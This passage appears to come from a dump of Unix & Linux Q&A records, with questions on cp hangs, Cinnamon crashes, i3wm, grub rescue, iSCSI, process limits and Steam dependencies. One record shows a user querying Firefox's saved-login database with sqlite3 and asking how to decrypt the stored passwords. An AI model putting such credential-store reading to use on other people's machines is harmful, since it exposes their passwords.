* * Can anyone help me understand what is causing the copy command to freeze up? * I can guess that the application is running and that might be in some way preventing any other process from accessing a particular file. * But in such a scenario I would expect `cp` to abort and throw me an error rather than stay blocked indefinitely. * As per the update, it seems process `PID=25057` seems to be using the file as an open file. But why does this block the `cp` command?"} {"_id": "78356", "title": "Configuring Enlightened Sound Daemon", "text": "I have a single audio source specified in ALSA as plughw:1,0 (a USB microphone) and I'd like several other processes to be able to access the source simultaneously. For various reasons, each process must see the source as some kind of device, and not as stdin. The process can accept `esd` as an input device. I've been doing some research and the documentation on `esd` is about applying several sources into one output, I guess I'm looking for the reverse. Is this possible, and if so, is there a reference on setting it up? /YR"} {"_id": "78354", "title": "Cinnamon randomly loses theming", "text": "From time to time (quite randomly), Nemo on my Linux Mint 14 Cinnamon starts looking like this ![enter image description here](http://i.stack.imgur.com/w578e.png) When usually it looks like this: ![enter image description here](http://i.stack.imgur.com/dSNt7.png) Restarting Cinnamon (`Alt`+`F2`, `r`, `Enter`) doesn't help, I need to log out, and then log on. Can someone tell me, * (I guess, that something with X Window System had crashed. `dmesg` doesn't show anything.) how to diagnose, what really happened? ( _update: it seems it is`gnome-settings-daemon` crash_) * how to restore the normal theme without logging off (which requires closing all programs)? * how to minimize frequency of such things? * * * Suspicious entries in `xsession-errors.lob` [0x7f9590006068] main input error: ES_OUT_SET_(GROUP_)PCR is called too late (pts_delay increased to 300 ms) [0x7f9590006068] main input error: ES_OUT_RESET_PCR called [0x7f9590006068] main input error: ES_OUT_SET_(GROUP_)PCR is called too late (pts_delay increased to 1108 ms) [0x7f9590006068] main input error: ES_OUT_RESET_PCR called (...) [h264 @ 0x7f95790fc160] Missing reference picture [h264 @ 0x7f95790fc160] decode_slice_header error [h264 @ 0x7f95790fc160] mmco: unref short failure [h264 @ 0x7f95790fc160] concealing 1620 DC, 1620 AC, 1620 MV errors [h264 @ 0x7f95790fc160] Missing reference picture [h264 @ 0x7f95790fc160] Missing reference picture [h264 @ 0x7f95790fc160] Missing reference picture (...) No such schema 'com.canonical.unity-greeter' Suspicious entries in syslog: Jun 13 01:03:45 adam-N56VZ kernel: [49764.694213] gnome-settings-[4198]: segfault at 188b2 ip 00007f2e46acf0a6 sp 00007fff8acb45d0 error 4 in libgdk-3.so.0.600.0[7f2e46a8c000+7c000] Jun 13 01:03:52 adam-N56VZ gnome-session[4098]: WARNING: Application 'gnome-settings-daemon.desktop' killed by signal 11 (...) Jun 13 01:40:59 adam-N56VZ laptop-mode: Warning: Configuration file /etc/laptop-mode/conf.d/board-specific/*.conf is not readable, skipping. * * * Update: It seems, that the this behavior can be reproduced by killing `gnome-settings- daemon`. The question remains on how to restore it? Simply running it as user or root doesn't change anything, even with restarting cinnamon (`Alt`+`F2`, `r`, `Enter`). And the hardest question: how to prevent it from happening? Since it is a crash I guess I'll need to follow the procedure with filing bug report. But who's fault it is? Gnome's or Cinnamon's? Or maybe some other component is at fault here?"} {"_id": "78351", "title": "i3wm can't create new tiles and mouse won't move", "text": "I installed i3wm and X using the tutorials in the Arch wiki for a new Arch installation. I have Intel video, so I installed the xf86-video-intel package (which takes care of the driver). But when I run: `startx` I'm taken to i3 (which I've never used before), but the mouse won't move (I'm running Ubuntu dual boot on this machine and mouse works great there) and when I try to create a new tile (`alt-enter`), the cursor turns into what looks like a clock surrounded by a frame of sorts, and doesn't recover. When I try to exit (`alt-shift-e`), I'm presented with a tab asking me to be sure, which I have to click with my mouse, which isn't moving, so I can't exit without shutting down (i.e., pressing the i/o power button on the laptop). Here is a log from startup. I pressed new window a couple of times and then shut the computer down: 06/05/13 01:08:09 - i3 4.5.1 (2013-03-18, branch \"tags/4.5.1\") starting 06/05/13 01:08:09 - Parsing configfile /home/tjb1982/.i3/config deciding for version 4 due to this line: # i3 config file (v4) 06/05/13 01:08:09 - [libi3] libi3/font.c Using X font -misc-fixed-medium-r-normal--13-120-75-75-C-70-iso10646-1 06/05/13 01:08:09 - Used number 1 for workspace with name 1 06/05/13 01:08:09 - auto-starting i3-config-wizard 06/05/13 01:08:09 - startup id = i3/i3-config-wizard/723-0-arch_TIME0 06/05/13 01:08:09 - executing: i3-config-wizard 06/05/13 01:08:09 - Starting bar process: i3bar --bar_id=bar-hjnjco --socket=\"/run/user/1000/i3/ipc-socket.723\" 06/05/13 01:08:09 - executing: i3bar --bar_id=bar-hjnjco --socket=\"/run/user/1000/i3/ipc-socket.723\" 06/05/13 01:08:09 - Not a managed window, ignoring UnmapNotify event The config file \"/home/tjb1982/.i3/config\" already exists. Exiting. 06/05/13 01:08:09 - IPC: looking for config for bar ID \"bar-hjnjco\" 06/05/13 01:08:09 - workspace visible? fs = 0x1bdb0f0, ws = 0x1bdb0f0 06/05/13 01:08:09 - WM_CLASS changed to i3bar (instance), i3bar (class) 06/05/13 01:08:09 - WM_NAME changed to \"i3bar for output LVDS1\" 06/05/13 01:08:09 - Using legacy window title. Note that in order to get Unicode window titles in i3, the application has to set _NET_WM_NAME (UTF-8) 06/05/13 01:08:09 - This window is of type dock 06/05/13 01:08:09 - Checking window 0x00a00007 (class i3bar) 06/05/13 01:08:09 - dock status does not match 06/05/13 01:08:09 - Checking window 0x00a00007 (class i3bar) 06/05/13 01:08:09 - dock status matches 06/05/13 01:08:09 - ClientMessage for window 0x0000009e 06/05/13 01:08:26 - startup id = i3/i3-sensible-terminal/723-1-arch_TIME366852 06/05/13 01:08:26 - executing: i3-sensible-terminal 06/05/13 01:08:26 - Not a managed window, ignoring UnmapNotify event 06/05/13 01:08:28 - startup id = i3/i3-sensible-terminal/723-2-arch_TIME368252 06/05/13 01:08:28 - executing: i3-sensible-terminal 06/05/13 01:08:28 - Not a managed window, ignoring UnmapNotify event 06/05/13 01:08:30 - startup id = i3/i3-sensible-terminal/723-3-arch_TIME370387 06/05/13 01:08:30 - executing: i3-sensible-terminal 06/05/13 01:08:30 - Not a managed window, ignoring UnmapNotify event 06/05/13 01:08:31 - startup id = i3/i3-sensible-terminal/723-4-arch_TIME371331 06/05/13 01:08:31 - executing: i3-sensible-terminal 06/05/13 01:08:31 - Not a managed window, ignoring UnmapNotify event [libi3] libi3/font.c Using X font -misc-fixed-medium-r-normal--13-120-75-75-C-70-iso10646-1 Contents of ~/.i3/config (replaced `#` with `;` for markdown legibility [which I didn't need to do, but I'm leaving it anyway): ; i3 config file (v4) ; ; Please see http://i3wm.org/docs/userguide.html for a complete reference! ; ; This config file uses keycodes (bindsym) and was written for the QWERTY ; layout. ; ; To get a config file with the same key positions, but for your current ; layout, use the i3-config-wizard ; ; Font for window titles. Will also be used by the bar unless a different font ; is used in the bar {} block below. ISO 10646 = Unicode font -misc-fixed-medium-r-normal--13-120-75-75-C-70-iso10646-1 ; The font above is very space-efficient, that is, it looks good, sharp and ; clear in small sizes. However, if you need a lot of unicode glyphs or ; right-to-left text rendering, you should instead use pango for rendering and ; chose a FreeType font, such as: ; font pango:DejaVu Sans Mono 10 ; use Mouse+Mod1 to drag floating windows to their wanted position floating_modifier Mod1 ; start a terminal bindsym Mod1+Return exec i3-sensible-terminal ; kill focused window bindsym Mod1+Shift+q kill ; start dmenu (a program launcher) bindsym Mod1+d exec dmenu_run ; There also is the (new) i3-dmenu-desktop which only displays applications ; shipping a .desktop file. It is a wrapper around dmenu, so you need that ; installed. ; bindsym Mod1+d exec --no-startup-id i3-dmenu-desktop ; change focus bindsym Mod1+j focus left bindsym Mod1+k focus down bindsym Mod1+l focus up bindsym Mod1+semicolon focus right ; alternatively, you can use the cursor keys: bindsym Mod1+Left focus left bindsym Mod1+Down focus down bindsym Mod1+Up focus up bindsym Mod1+Right focus right ; move focused window bindsym Mod1+Shift+j move left bindsym Mod1+Shift+k move down bindsym Mod1+Shift+l move up bindsym Mod1+Shift+semicolon move right ; alternatively, you can use the cursor keys: bindsym Mod1+Shift+Left move left bindsym Mod1+Shift+Down move down bindsym Mod1+Shift+Up move up bindsym Mod1+Shift+Right move right ; split in horizontal orientation bindsym Mod1+h split h ; split in vertical orientation bindsym Mod1+v split v ; enter fullscreen mode for the focused container bindsym Mod1+f fullscreen ; change container layout (stacked, tabbed, toggle split) bindsym Mod1+s layout stacking bindsym Mod1+w layout tabbed bindsym Mod1+e layout toggle split ; toggle tiling / floating bindsym Mod1+Shift+space floating toggle ; change focus between tiling / floating windows bindsym Mod1+space focus mode_toggle ; focus the parent container bindsym Mod1+a focus parent ; focus the child container ;bindsym Mod1+d focus child ; switch to workspace bindsym Mod1+1 workspace 1 bindsym Mod1+2 workspace 2 bindsym Mod1+3 workspace 3 bindsym Mod1+4 workspace 4 bindsym Mod1+5 workspace 5 bindsym Mod1+6 workspace 6 bindsym Mod1+7 workspace 7 bindsym Mod1+8 workspace 8 bindsym Mod1+9 workspace 9 bindsym Mod1+0 workspace 10 ; move focused container to workspace bindsym Mod1+Shift+1 move container to workspace 1 bindsym Mod1+Shift+2 move container to workspace 2 bindsym Mod1+Shift+3 move container to workspace 3 bindsym Mod1+Shift+4 move container to workspace 4 bindsym Mod1+Shift+5 move container to workspace 5 bindsym Mod1+Shift+6 move container to workspace 6 bindsym Mod1+Shift+7 move container to workspace 7 bindsym Mod1+Shift+8 move container to workspace 8 bindsym Mod1+Shift+9 move container to workspace 9 bindsym Mod1+Shift+0 move container to workspace 10 ; reload the configuration file bindsym Mod1+Shift+c reload ; restart i3 inplace (preserves your layout/session, can be used to upgrade i3) bindsym Mod1+Shift+r restart ; exit i3 (logs you out of your X session) bindsym Mod1+Shift+e exec \"i3-nagbar -t warning -m 'You pressed the exit shortcut. Do you really want to exit i3? This will end your X session.' -b 'Yes, exit i3' 'i3-msg exit'\" ; resize window (you can also use the mouse for that) mode \"resize\" { ; These bindings trigger as soon as you enter the resize mode ; Pressing left will shrink the window\u2019s width. ; Pressing right will grow the window\u2019s width. ; Pressing up will shrink the window\u2019s height. ; Pressing down will grow the window\u2019s height. bindsym j resize shrink width 10 px or 10 ppt bindsym k resize grow height 10 px or 10 ppt bindsym l resize shrink height 10 px or 10 ppt bindsym semicolon resize grow width 10 px or 10 ppt ; same bindings, but for the arrow keys bindsym Left resize shrink width 10 px or 10 ppt bindsym Down resize grow height 10 px or 10 ppt bindsym Up resize shrink height 10 px or 10 ppt bindsym Right resize grow width 10 px or 10 ppt ; back to normal: Enter or Escape bindsym Return mode \"default\" bindsym Escape mode \"default\" } bindsym Mod1+r mode \"resize\" ; Start i3bar to display a workspace bar (plus the system information i3status ; finds out, if available) bar { status_command i3status } ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; automatically start i3-config-wizard to offer the user to create a ; keysym-based config which used his favorite modifier (alt or windows) ; ; i3-config-wizard will not launch if there already is a config file ; in ~/.i3/config. ; ; Please remove the following exec line: ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; exec i3-config-wizard"} {"_id": "34283", "title": "VNC send Ctrl+Alt+F1-F6 to server", "text": "I've been trying to figure this out now for a while, I'm connecting to virtual machines through VNC, and by default you get a graphical or ncurses interface, and `CTRL`+`ALT`+`F3` takes you to a console with debug information. However, Gentoo intercepts these commands. How can I pass them through to the VNC server? Edit: Some more details the VNC is being ran on the VM host, thus it just captures display output from the VM and sends any keys to the VM as if it's an actual keyboard connected to it. Hence I can switch to the TTY's if my `CTRL`+`ALT`+`F1`-`F6` keystrokes were getting through (Works fine when on Windows for example)."} {"_id": "34285", "title": "Command that highlights regex in text?", "text": "Is there a command that highlights a certain expression in text? I'm looking for something like the 'search' function in less, but with normal text output on stdout, instead of the `less` viewer. Example: $ cat test.txt | highlight \"an\" > Prospects for **an** orderly NATO withdrawal from Afgh **an** ist **an** > suffered two setbacks as President Hamid Karzai dem **an** ded limits on > United States troops **an** d the Talib **an** halted peace talks. It could use color or any other means to highlight the specified regular expression."} {"_id": "72053", "title": "Tracking which files are used by program", "text": "I am looking for a way to track which files are used by program installer(InstallAnywhere). I cannot use `lsof` because as far as I know it works on active processes and I want a tool which will work something like that: Time: -------------------------------------------------------- Tool start here: |-------------------------------------------| Installer starts here: |-----------------------------------|"} {"_id": "72051", "title": "Vim - how to increase each number in visual block?", "text": "I have the following SQL: update am.PERMISSIONS set PRM_ORDER = 35 PRM_VISIBLE = b'1' where PRM_ID = 3; update am.PERMISSIONS set PRM_ORDER = [35] PRM_VISIBLE = b'1' where PRM_ID = 7; update am.PERMISSIONS set PRM_ORDER = [40] PRM_VISIBLE = b'1' where PRM_ID = 10; update am.PERMISSIONS set PRM_ORDER = [45] PRM_VISIBLE = b'1' where PRM_ID = 11; ... with square brackets I select the visual block, where i want to increase each number by 5. How do I do this?"} {"_id": "79085", "title": "LibreOffice from RPM looks ugly", "text": "I'm using x86-64 Fedora 18 (my desktop is KDE), that ships with LibreOffice 3.6. I wanted to install LibreOffice 4.0, thus I installed the RPMs (from here). It works, but looks ugly. Compare: 1. LibreOffice 4.0 (from the RPMs): ![enter image description here](http://i.stack.imgur.com/RyAd8.png) 2. LibreOffice 3.6 (from the repos): ![enter image description here](http://i.stack.imgur.com/dFGld.png) I checked in the options of LibreOffice, disabled the high-contrast theme but didn't work. Here it suggests to install the package `pangox-compat`, but it's already installed. How can I fix it?"} {"_id": "72055", "title": "remove content of directory in elegant way", "text": "I would like to remove all content of the current working directory. How to do it in efficient and elegant way? I have several files, directories and some of them starts with dot, like: touch .abc; touch abcd ; mkdir foobar; touch \"file name\" \"#\" I am looking for posix compatible, elegant solution, to make this directory empty. I will post some of my ideas, but none of them are perfect."} {"_id": "79086", "title": "grub rescue prompt after boot-repair", "text": "I want to run Windows 8 and Linux Mint 15 in dual boot. After installing Mint I could no longer boot Windows 8. After running boot-repair from a USB device I can't boot either of them anymore. I just get a grub rescue prompt preceded by error: no such device: 44d9d480-e343-437e-9384-03495c5d89de. This is the boot-repair log URL: http://paste2.org/nEhbEbUk Why am I receiving this error? What can I do to fix it? _I originally posted this question here:http://askubuntu.com/questions/307030/grub-rescue-prompt-after-boot- repair but was advised to ask it here_"} {"_id": "59509", "title": "Can't boot live USB of Linux Mint DE on my UEFI PC", "text": "I used the Universal USB Installer application to copy the latest ISO image from Linux Mint DE (64 bits) and install it on my PC, however when I try to reboot it I have the option to choose my connected USB device as \"UEFI: ... USB ...\" but when I choose it it doesn't do anything, the screen goes black for a couple seconds then loads windows 7 normally. Should I do something before trying to boot into the USB device? This is my first time trying to install a linux distro on a UEFI-based PC I never had a problem like this before. Thanks in advance."} {"_id": "59502", "title": "iSCSI on startup", "text": "I've configure iSCSI but CentOS 6.3 is unable to recognize if on startup. Here is fstab config: /dev/sdb1 /home ext4 _netdev 0 0 Here is iscsi.conf settings: node.startup = automatic node.session.auth.username = node.session.auth.password = discovery.sendtargets.auth.username = discovery.sendtargets.auth.password = Here is initiatorname.iscsi: iqn.2004-04.com.iscsi:iscsi:iscsi.start.8cff69 Here is chkconfig: iscsid 0:off 1:off 2:on 3:on 4:on 5:on 6:off Any help please. dmesg is not showing errors. My question is that centos 6.3 is unable to initialize and boot with iscsi. I've to process it manually. Yes both iscsi and iscsid are enabled on start up. How can i check / configure initramfs .. any manual?"} {"_id": "59500", "title": "How to re-size partitions in a complete hard drive image?", "text": "I have taken a complete image of a hard drive using: dd if=/dev/sda of=/home/user/harddriveimg bs=4M It would seem to me, that I should be able to re-size the partitions within it after suitably mounting it. As I am less than familiar with the command line parted, I tried: gparted /home/user/harddriveimg While this loaded the partition table, it couldn't find the partitions themselves, e.g. harddriveimg0. Is it possible to modify an image file like this, without writing it back to some disk, and if so how? I would be perfectly happy with a solution that uses only terminal commands."} {"_id": "59501", "title": "Convert file path to URI in bash", "text": "How can I convert a file path to an URI in the command-line? **Example** : /home/MHC/directory with spaces and \u00fcml\u00e4uts to file:///home/MHC/directory%20with%20spaces%20and%20%C3%BCml%C3%A4uts"} {"_id": "59506", "title": "RLIMIT_NPROC suddenly overwhelmed", "text": "In a small script I have, I'm starting a shell and then setting RLIMIT_NPROC on it to some small number, like 5, using prlimit Then, I try to execute a shell script that only contains: #!/bin/bash echo hi sleep 3 by sending \"./test.sh\\n\" through stdin and waiting for the result. At the same time, I'm using `ps --ppid -o pid=` to list the child PIDs of the first. This always fails with the error `bash: fork: retry: No child processes`. I've tried setting the limit to RLIM_INFINITY to see how many child processes are created, but only one is listed (naturally the shell processing test.sh). How can I properly limit the number of child processes (or more generally, restrict some sort of fork bomb)? I know about cgroups and other similar alternatives, but I'm trying to write this to learn, and this behavior really confuses me. I think it might be due to RLIMIT_NPROC's documentation stating that it limits \"The maximum number of processes (or, more precisely on Linux, threads)\" and large numbers of threads being created, but the program only works once I increase RLIMIT_NPROC up to 500 or so, and that doesn't seem very reasonable. If this behavior is unexpected, it might be a coding error, in which case I'll try to clean up the testing code to post on here."} {"_id": "59505", "title": "Listing script's file dependencies", "text": "Given a shell script, is there an easy way to extract what files it manipulates explicitly (so not like concatenating some command and than eval- ing it)? E.g. #!/bin/bash . /etc/someconfig.cfg cat /somedir/somefile.txt cp /otherdir/file1.txt /tmp/fileABC.txt rm -f ~/stupidfile.txt #EOF Is there a command that would extract the explicit dependencies so that I don't have to parse the script or do it manually and get output like: /etc/someconfig.cfg /somedir/somefile.txt /otherdir/file1.txt /tmp/fileABC.txt ~/stupidfile.txt ? Thanks"} {"_id": "78685", "title": "Can't see my ssd drive when booting using grub on a usb pen", "text": "I installed debian on my laptop and everything was fine (I may need to mention that I'm using LVM) until I reached the grub point. Since I have a GPT partition he refuses to install properly. I skipped that stage and I just installed grub on a pen drive in order to boot on linux. The pendrive boots successfully but when I hit the console and try to boot my kernel there is no way I can see my ssd drive. Here is what I'm trying: 1. From the grub console: `insmod lvm` 2. Then: `set root=(` but the autocomplete shows me hd0 **_only_** which is the pendrive itself. 3. GRUB+LVM wiki suggests I should type something like `set root=lvm/volumegroup-volume` and so did I. Then, when I try to do `linux /boot/vmlinux etcetc` the command fails and it tells me `error: disk 'lvm/group-vol not found'` [I obviously used the proper names instead of group-vol] My laptop is a samsung series 7 ultrabook. Any hints on why is that so? UPDATE: I booted with the netinst again and entered the rescue console. I mounted my disk and copied the initrd and vmlinuz on my usb pendrive. I can now boot BUT it stops when it tries to find the root device with something like: > Gave up waiting for root device. Common problems: > > * Boot args [etc etc] > * Missing modules [etc etc] ALERT! /dev/mapper/group-vol does not exist. > > > Dropping to a shell! Apparently, the initrd doesn't have all the modules needed to handle the LVM. I'm kind of lost because I copied the initrd created by Debian during the installation, the one expected to work..."} {"_id": "78687", "title": "No wireless on my Dell Inspiron 1545 Ubuntu", "text": "I had installed Ubuntu 12.10 a few months back but never really used wireless device. I did use wireless before that when I had windows installed on my Dell, but then I switched to Ubuntu and the option for Wireless never worked. I used to work with LAN network till now and that worked just fine, but now since I have relocated, I have dongle for my internet but now I want to share this over a wireless network which I am unable to figure out. Here's a couple of things that may help regarding this : The snapshot ![enter image description here](http://i.stack.imgur.com/vixzh.jpg) shows no wireless option here. Also the result of `lshw -class network` is *-network description: Ethernet interface product: 88E8040 PCI-E Fast Ethernet Controller vendor: Marvell Technology Group Ltd. physical id: 0 bus info: pci@0000:09:00.0 logical name: eth0 version: 13 serial: 00:23:ae:34:46:d2 capacity: 100Mbit/s width: 64 bits clock: 33MHz capabilities: pm msi pciexpress bus_master cap_list ethernet physical tp 10bt 10bt-fd 100bt 100bt-fd autonegotiation configuration: autonegotiation=on broadcast=yes driver=sky2 driverversion=1.30 latency=0 link=no multicast=yes port=twisted pair resources: irq:45 memory:f69fc000-f69fffff ioport:de00(size=256) * _EDIT 1 *_ lspci 00:00.0 Host bridge: Intel Corporation Mobile 4 Series Chipset Memory Controller Hub (rev 07) 00:02.0 VGA compatible controller: Intel Corporation Mobile 4 Series Chipset Integrated Graphics Controller (rev 07) 00:02.1 Display controller: Intel Corporation Mobile 4 Series Chipset Integrated Graphics Controller (rev 07) 00:1a.0 USB controller: Intel Corporation 82801I (ICH9 Family) USB UHCI Controller #4 (rev 03) 00:1a.1 USB controller: Intel Corporation 82801I (ICH9 Family) USB UHCI Controller #5 (rev 03) 00:1a.2 USB controller: Intel Corporation 82801I (ICH9 Family) USB UHCI Controller #6 (rev 03) 00:1a.7 USB controller: Intel Corporation 82801I (ICH9 Family) USB2 EHCI Controller #2 (rev 03) 00:1b.0 Audio device: Intel Corporation 82801I (ICH9 Family) HD Audio Controller (rev 03) 00:1c.0 PCI bridge: Intel Corporation 82801I (ICH9 Family) PCI Express Port 1 (rev 03) 00:1c.1 PCI bridge: Intel Corporation 82801I (ICH9 Family) PCI Express Port 2 (rev 03) 00:1c.2 PCI bridge: Intel Corporation 82801I (ICH9 Family) PCI Express Port 3 (rev 03) 00:1c.4 PCI bridge: Intel Corporation 82801I (ICH9 Family) PCI Express Port 5 (rev 03) 00:1d.0 USB controller: Intel Corporation 82801I (ICH9 Family) USB UHCI Controller #1 (rev 03) 00:1d.1 USB controller: Intel Corporation 82801I (ICH9 Family) USB UHCI Controller #2 (rev 03) 00:1d.2 USB controller: Intel Corporation 82801I (ICH9 Family) USB UHCI Controller #3 (rev 03) 00:1d.7 USB controller: Intel Corporation 82801I (ICH9 Family) USB2 EHCI Controller #1 (rev 03) 00:1e.0 PCI bridge: Intel Corporation 82801 Mobile PCI Bridge (rev 93) 00:1f.0 ISA bridge: Intel Corporation ICH9M LPC Interface Controller (rev 03) 00:1f.2 SATA controller: Intel Corporation 82801IBM/IEM (ICH9M/ICH9M-E) 4 port SATA Controller [AHCI mode] (rev 03) 00:1f.3 SMBus: Intel Corporation 82801I (ICH9 Family) SMBus Controller (rev 03) 09:00.0 Ethernet controller: Marvell Technology Group Ltd. 88E8040 PCI-E Fast Ethernet Controller (rev 13)"} {"_id": "78682", "title": "How to know which Linux kernel versions Qt 4.7 supports", "text": "I'd like to develop Qt 4.7 based applications running on my arm-linux MCU. However, I'm not sure if this Qt 4.7 supports the following two things: 1. my Linux 2.6.37 kernel 2. my Ti3530-cortexA8 MCU. I know it's hard to get a conclusion here so I'd like to know where I can find such references."} {"_id": "78688", "title": "Permission error to access mounted directory in localhost", "text": "OK, I formatted my flash to **ext4** file system, changed all the permissions to **777** and mounted it to **/var/www/html/web**. Now, when i access **localhost/web** it gives the following error: \"You don't have permission to access /web/cv on this server.\" But when I normally access localhost it loads index.html that locates in /var/www/html directory, it means it has to do with mounting of flash. Can't I hold my web directory inside my flash card in Linux? Why it gives permission error, maybe it could be related to Apache server? All guesses and solutions would be greatly appreciated. BTW I am using **Redhat Linux Enterprise Server 6**"} {"_id": "78689", "title": "Fix \"firefox is already running\" issue in Linux", "text": "I am trying to open Firefox in CentOS, but I'm getting the following message: > Firefox is already running but is not responding and Firefox doesn't open. I tried this in command line: kill Firefox but it didn't work. Also, I don't know in which directory I must execute the right commands. How can I fix this?"} {"_id": "149525", "title": "Query Firefox password database", "text": "Braiam said that Firefox stores the password data for login websites in `~/.mozilla/firefox/key3.db` and `~/.mozilla/firefox/signons.sqlite` files. These files can be read with some sqlite editor. I try to query for my username and password of a website (e.g. https://sourceforge.net/account/login.php) from the Firefox's database. I can't do it through Firefox, because my Firefox GUI is not working, and I am fairly new to and also interested in learning using databases to do the job. 1. what are the different roles of `key3.db` and `signons.sqlite`? 2. I searched on the internet, and is it correct that I should use `sqlite3` to open a database? $ sqlite3 key3.db SQLite version 3.7.9 2011-11-01 00:52:41 Enter \".help\" for instructions Enter SQL statements terminated with a \";\" sqlite> .tables Error: file is encrypted or is not a database I guess the reason of failure is that, in Firefox, I set up a master keyword to access the passwords it stores. How should I proceed to query the password of a given website? Btw, my OS is Ubuntu, and if it helps, here is the file type of `key3.db` : $ file key3.db key3.db: Berkeley DB 1.85 (Hash, version 2, native byte-order) 3. What shall I read and learn in order to query the password from a given website name? Will reading http://www.sqlite.org/cli.html help? * * * To garethTheRed: I tried your command. ~~Not return anything however.~~ The output is abysmal: $ sqlite3 signons.sqlite SQLite version 3.7.9 2011-11-01 00:52:41 Enter \".help\" for instructions Enter SQL statements terminated with a \";\" sqlite> .tables moz_deleted_logins moz_disabledHosts moz_logins sqlite> select * from moz_logins; ... 55|https://sourceforge.net||https://sourceforge.net|form_loginname|form_pw|MDIEEPgAAAAAAAAAAAAAAAAAAAEwF\\AYIKoZIhvcNAwcECCPrVdOzWamBBAjPs0DI8FrUnQ==|MDoEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECCnZved1LRQMBBBV\\DtXpOvAp0TQHibFeX3NL|{16e782de-4c65-426f-81dc-ee0361816262}|1|1327675445094|1403706275829|1327675445094|\\4 ... Does Firefox encrypt passwords regardless of if there is a master key? If yes, can we decrypte them in command line (my firefox CLI may still work)? Alternatively, is it possible that Chrome browser can read and import the passwords stored by Firefox?"} {"_id": "147542", "title": "Point program without garbaging up alias (~/.bashrc)", "text": "What is the correct way to point to a program/script without passing the command through aliases in the bashrc? For example: I create a custom script _MyScript.sh_. I wish to create a command that can be run globally from shell by typing `scripty`, which would point to my script ( _MyScript.sh_ ). Is there a way to accomplish this? (The only way I know is creating aliases) If there is a \"more correct way\" to do this I would appreciate knowing how."} {"_id": "149521", "title": "wget internal buffer size", "text": "I'm constantly using `wget` to download many files over 1GB each. I'm getting concerned about how this may be straining my HDD. Can `wget`'s internal buffer size be modified so that it writes to my HDD less often? What about `curl`?"} {"_id": "37889", "title": "Run a program when start an activity", "text": "Is there a way to run a program when specific activity starts on KDE 4.8.9? PD.: KDE has a feature called Activity. It is designed for change your desktop settings. For example, KDE has some Activities by default like Desktop, Desktop Icons, Photos Activity, ... and each takes different Energy Saving Settings, wallpaper, ..."} {"_id": "147549", "title": "Installing Steam on Debian Wheezy", "text": "I downloaded the .deb file from the Steam website, but couldn't install it as it complained about having and \"outdated\" version of libc6. I look around and apparently I have to add jessie sources to my sources.list to make it work, and so I do. The package installs but itself is a front to install steam's dependencies. I run it, and instead of simply installing the three dependencies described (libgl1-mesa-dri:i386, libgl1-mesa-glx:i386 and libc6:i386), it instead wants to do all this: The following packages were automatically installed and are no longer required: blt cups-daemon cups-server-common dconf-cli empathy-common geoclue-2.0 gir1.2-gck-1 gir1.2-gst-plugins-base-1.0 gir1.2-gstreamer-1.0 gir1.2-ibus-1.0 gir1.2-javascriptcoregtk-3.0 gir1.2-notify-0.7 gnome-panel-data gnome-session-common gnome-themes-standard-data gstreamer1.0-nice gstreamer1.0-plugins-base gstreamer1.0-plugins-good gstreamer1.0-pulseaudio hp-ppd libarchive13 libasound2-dev libassuan0 libavahi-client-dev libavahi-common-dev libavcodec55 libavformat55 libbz2-1.0:i386 libcaca-dev libcamel-1.2-49 libcaribou-common libchromaprint0 libdb5.3:i386 libdbus-1-dev libdirectfb-dev libdirectfb-extra libdrm-dev libdrm-nouveau1a libebackend-1.2-7 libebook-1.2-14 libebook-contacts-1.2-0 libecal-1.2-16 libedata-book-1.2-20 libedata-cal-1.2-23 libedataserver-1.2-18 libfluidsynth1 libfontembed1 libfreetype6-dev libgadu3 libgcr-base-3-1 libgd3 libgexiv2-2 libgl1-mesa-dev libglu1-mesa-dev libgphoto2-6 libgphoto2-port10 libgrilo-0.2-1 libgstreamer-plugins-bad1.0-0 libgstreamer-plugins-base1.0-0 libgstreamer1.0-0 libibus-1.0-5 libical1 libinput0 libjpeg8-dev libjson0 liblzma5:i386 libmjpegutils-2.1-0 libmozjs-24-0 libmpdec2 libmpdec2:i386 libmpeg2encpp-2.1-0 libmpg123-0 libmplex2-2.1-0 libmx-common libncursesw5:i386 libnm-gtk-common libopencv-core2.4 libopencv-flann2.4 libopencv-imgproc2.4 libopencv-ml2.4 libopencv-video2.4 libpackagekit-glib2-16 libpcre3-dev libpcrecpp0 libpng12-dev libpthread-stubs0 libpthread-stubs0-dev libpython3-stdlib libpython3-stdlib:i386 libpython3.4-minimal libpython3.4-minimal:i386 libpython3.4-stdlib libpython3.4-stdlib:i386 libqpdf13 libreadline6:i386 librtmp1 libsbc1 libslang2-dev libsqlite3-0:i386 libsrtp0 libssl1.0.0:i386 libtbb2 libtotem-plparser18 libtracker-sparql-1.0-0 libts-dev libwayland-cursor0 libwebp5 libx11-dev libx11-doc libx11-xcb-dev libx264-142 libxau-dev libxcb-dri2-0-dev libxcb-dri3-dev libxcb-glx0-dev libxcb-present-dev libxcb-randr0 libxcb-randr0-dev libxcb-render0-dev libxcb-shape0-dev libxcb-sync-dev libxcb-xfixes0-dev libxcb1-dev libxdamage-dev libxdmcp-dev libxext-dev libxfixes-dev libxkbcommon0 libxshmfence-dev libxxf86vm-dev mesa-common-dev pkg-config python-aptdaemon python-defer python-pkg-resources python3.4:i386 python3.4-minimal:i386 x11proto-core-dev x11proto-damage-dev x11proto-dri2-dev x11proto-fixes-dev x11proto-gl-dev x11proto-input-dev x11proto-kb-dev x11proto-xext-dev x11proto-xf86vidmode-dev xorg-sgml-doctools xtrans-dev zlib1g-dev Use 'apt-get autoremove' to remove them. The following extra packages will be installed: bzip2 colord colord-data cups-bsd cups-client cups-common cups-daemon cups-ppdc cups-server-common cupsddk dbus-x11 dconf-cli dconf-gsettings-backend dconf-service empathy-common evince-common evolution-data-server-common folks-common fontconfig-config gcc-4.9-base gcc-4.9-base:i386 geoclue-2.0 gir1.2-atspi-2.0 gir1.2-freedesktop gir1.2-gck-1 gir1.2-gdesktopenums-3.0 gir1.2-glib-2.0 gir1.2-gst-plugins-base-1.0 gir1.2-gstreamer-1.0 gir1.2-ibus-1.0 gir1.2-javascriptcoregtk-3.0 gir1.2-notify-0.7 gir1.2-soup-2.4 gir1.2-telepathylogger-0.2 gir1.2-upowerglib-1.0 glib-networking glib-networking-common glib-networking-services gnome-desktop3-data gnome-packagekit-data gnome-panel-data 